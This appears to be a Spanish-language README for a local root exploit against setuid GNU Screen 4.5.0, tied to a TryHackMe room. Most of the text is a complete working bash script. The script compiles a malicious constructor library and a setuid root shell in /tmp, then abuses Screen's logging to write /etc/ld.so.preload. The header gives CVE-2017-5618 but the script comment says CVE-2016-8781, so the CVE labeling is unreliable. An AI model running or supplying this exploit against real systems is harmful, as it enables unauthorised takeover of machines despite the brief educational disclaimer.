
Exploit de escalada de privilegios local para GNU Screen 4.5.0 (CVE-2017-5618). Explota una vulnerabilidad en la función de registro para secuestrar la carga de bibliotecas compartidas y obtener acceso root mediante la manipulación de ld.so.preload. Vulnerable: Screen 4.5.0 (SUID) Corregido en: Screen 4.6.0+
Exploit de escalada de privilegios local para GNU Screen 4.5.0 que secuestra la carga de bibliotecas compartidas para obtener acceso root mediante la manipulación de ld.so.preload.
Vulnerabilidad: CVE-2017-5618
Tipo: Secuestro de bibliotecas compartidas mediante ld.so.preload
Afectado: GNU Screen 4.5.0 exclusivamente
Corregido en: GNU Screen 4.6.0+
CVE: 2017-5618 🎯
El bug: Screen 4.5.0 crea archivos de log con permisos PELIGROSOS
La magia: Lo engañamos para que cree /etc/ld.so.preload que carga nuestra biblioteca maliciosa
El payload: ¡Shell root instantánea! 🐚
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
Comprobando la versión vulnerable de Screen.

Creando el archivo y otorgando los permisos necesarios.

Acceso root obtenido.

Shell root obtenida: control total del sistema.
¡SOLO PARA USO EDUCATIVO! ⚠️ No seas un script kiddie: úsalo solo en sistemas que te pertenezcan o en los que tengas permiso explícito para probar.
TryHackMe KOTH Room - Food